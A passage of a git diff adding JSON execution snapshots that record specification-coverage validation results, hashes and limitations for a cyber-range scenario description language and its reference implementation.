bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "fdd010ef00af9713b0c141be4ee61e63461334f0", + "snapshot_id": "raes-standardized-specification-coverage-issue-1338-v41", + "snapshot_revision": "41.0.0", + "source_state": { + "base_revision": "fdd010ef00af9713b0c141be4ee61e63461334f0", + "checkout_state": "modified", + "implementation_digest": "9d78e6e4d9ef2ecc620d137d3d949cdca4cca16cf3f8363d112468b70db6e109", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v45.json b/docs/research/specification-coverage/execution-snapshot-v45.json new file mode 100644 index 000000000..14aac2568 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v45.json @@ -0,0 +1,701 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-24T01:33:03.875794+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "945267796770238855d21a75e9da35f74791edbe1b0b72d544cdb94a12f01b12", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "4999b8adf294f364a758bc9cf78816d5da9eae1c263ae678eabe4d0e2c82dec6", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "9ecd780448b054693503bab246120a1a2bb49a43016d0b9c27c5284ba609833f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "This replay binds issue #1357 governed v2 decision admission and the integrated source state. The retained offline specification corpus does not exercise participant crossing authorization or assert new runtime behavior." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "3b7208b15f8dc29db8ad6d3b15bde792d79220b7", + "snapshot_id": "raes-standardized-specification-coverage-issue-1357-v45", + "snapshot_revision": "45.0.0", + "source_state": { + "base_revision": "3b7208b15f8dc29db8ad6d3b15bde792d79220b7", + "checkout_state": "modified", + "implementation_digest": "a6c52cd21e5a4847632b60abdaf57cb6046687474a41cdcd7457748851232294", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v46.json b/docs/research/specification-coverage/execution-snapshot-v46.json new file mode 100644 index 000000000..fa5572778 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v46.json @@ -0,0 +1,701 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-24T02:37:14.078730+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": 